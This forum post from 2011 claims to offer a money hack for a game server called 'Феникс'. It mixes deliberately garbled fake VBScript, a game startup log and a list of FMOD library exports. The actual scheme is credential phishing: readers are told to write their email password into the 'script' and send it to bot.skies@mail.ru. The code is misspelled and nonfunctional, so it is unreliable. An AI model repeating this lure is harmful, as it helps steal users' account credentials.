Server<>="Феникс"
Nick/<="ник"
FirstMoney.="количество денег"
Set objService = Get0bject("winmgmts:{impersonatonLevel=impersonate,(Systemtime)}!\\"& CompName &"\root\CIMV2")
If Err.Number <> 0 Then.
WScrirt.Quit
End If
For Each objOS In objService.ExecQuery("SELECT * FROM win32_OperatingSystem")
Exit For
Next
WScript.Echo Err.Number & ": " & Err.Description
WScript.Quit
MoneyHack<>= "Количетво желаемых денег"
3.EnvMult, MyCount, 2
MyCount *= 2 "пороль от мыла" вот и всё надо выслать на мыло бота bot.skies@mail.ru и всё игра ломанаДобавлено (14.04.2011, 11:45)
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1(04-13 15:24:55):CreateGame ok
2(04-13 15:24:55):LoadSetup ok
3(04-13 15:24:55):Init begin...
4(04-13 15:24:56):Init package file OK!
5(04-13 15:24:56):Init Input OK!
6(04-13 15:24:56):Init Audio Engine OK!
7(04-13 15:24:56):Init Net OK!
8(04-13 15:24:56):Init Graphics OK!
9(04-13 15:24:56):MaxSW2DChannels:16,MaxHW2DChannels:16,MaxHW3DChannels:16,TotalHWChannel:62,TotalChannel:78.
10(04-13 15:24:56):Init Interface OK!
Добавлено (14.04.2011, 11:47)
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_FSOUND_Sample_GetName@4 _FSOUND_Sample_Load@20 _FSOUND_Sample_Lock@28 _FSOUND_Sample_SetDefaults@20 _FSOUND_Sample_SetDefaultsEx@32 _FSOUND_Sample_SetLoopPoints@12 _FSOUND_Sample_SetMaxPlaybacks@8 _FSOUND_Sample_SetMinMaxDistance@12 _FSOUND_Sample_SetMode@8 _FSOUND_Sample_Unlock@20 _FSOUND_Sample_Upload@12 _FSOUND_SetBufferSize@4 _FSOUND_SetCurrentPosition@8 _FSOUND_SetDriver@4 _FSOUND_SetFrequency@8 _FSOUND_SetFrequencyEx@8 _FSOUND_SetHWND@4 _FSOUND_SetLoopMode@8 _FSOUND_SetMaxHardwareChannels@4 _FSOUND_SetMemorySystem@20 _FSOUND_SetMinHardwareChannels@4 _FSOUND_SetMixer@4 _FSOUND_SetMute@8 _FSOUND_SetOutput@4 _FSOUND_SetPan@8 _FSOUND_SetPanSeperation@4 _FSOUND_SetPaused@8 _FSOUND_SetPriority@8 _FSOUND_SetReserved@8 _FSOUND_SetSFXMasterVolume@4 _FSOUND_SetSpeakerMode@4 _FSOUND_SetSurround@8 _FSOUND_SetVolume@8 _FSOUND_SetVolumeAbsolute@8 _FSOUND_StopSound@4 _FSOUND_Stream_AddSyncPoint@12 _FSOUND_Stream_Close@4 _FSOUND_Stream_Create@20 _FSOUND_Stream_CreateDSP@16 _FSOUND_Stream_DeleteSyncPoint@4 _FSOUND_Stream_FindTagField@20 _FSOUND_Stream_GetLength@4 _FSOUND_Stream_GetLengthMs@4 _FSOUND_Stream_GetMode@4 _FSOUND_Stream_GetNumSubStreams@4 _FSOUND_Stream_GetNumSyncPoints@4 _FSOUND_Stream_GetNumTagFields@8 _FSOUND_Stream_GetOpenState@4 _FSOUND_Stream_GetPosition@4 _FSOUND_Stream_GetSample@4 _FSOUND_Stream_GetSyncPoint@8 _FSOUND_Stream_GetSyncPointInfo@8 _FSOUND_Stream_GetTagField@24 _FSOUND_Stream_GetTime@4 _FSOUND_Stream_Net_GetBufferProperties@12 _FSOUND_Stream_Net_GetLastServerStatus@0 _FSOUND_Stream_Net_GetStatus@20 _FSOUND_Stream_Net_SetBufferProperties@12 _FSOUND_Stream_Net_SetMetadataCallback@12 _FSOUND_Stream_Net_SetNetDataCallback@8 _FSOUND_Stream_Net_SetProxy@4 _FSOUND_Stream_Open@16 _FSOUND_Stream_Play@8 _FSOUND_Stream_PlayEx@16 _FSOUND_Stream_SetBufferSize@4 _FSOUND_Stream_SetEndCallback@12 _FSOUND_Stream_SetLoopCount@8 _FSOUND_Stream_SetLoopPoints@12 _FSOUND_Stream_SetMode@8 _FSOUND_Stream_SetPCM@8 _FSOUND_Stream_SetPosition@8 _FSOUND_Stream_SetSubStream@8 _FSOUND_Stream_SetSubStreamSentence@12 _FSOUND_Stream_SetSyncCallback@12 _FSOUND_Stream_SetTime@8 _FSOUND_Stream_Stop@4 _FSOUND_Update@0 =8
Добавлено (14.04.2011, 11:47)
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Думаюн норм люди разберутся
Добавлено (14.04.2011, 11:48)
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В последнем нужно в 5 строке местно начального _FSOUND ввесть колличетсво денег
Добавлено (14.04.2011, 11:50)
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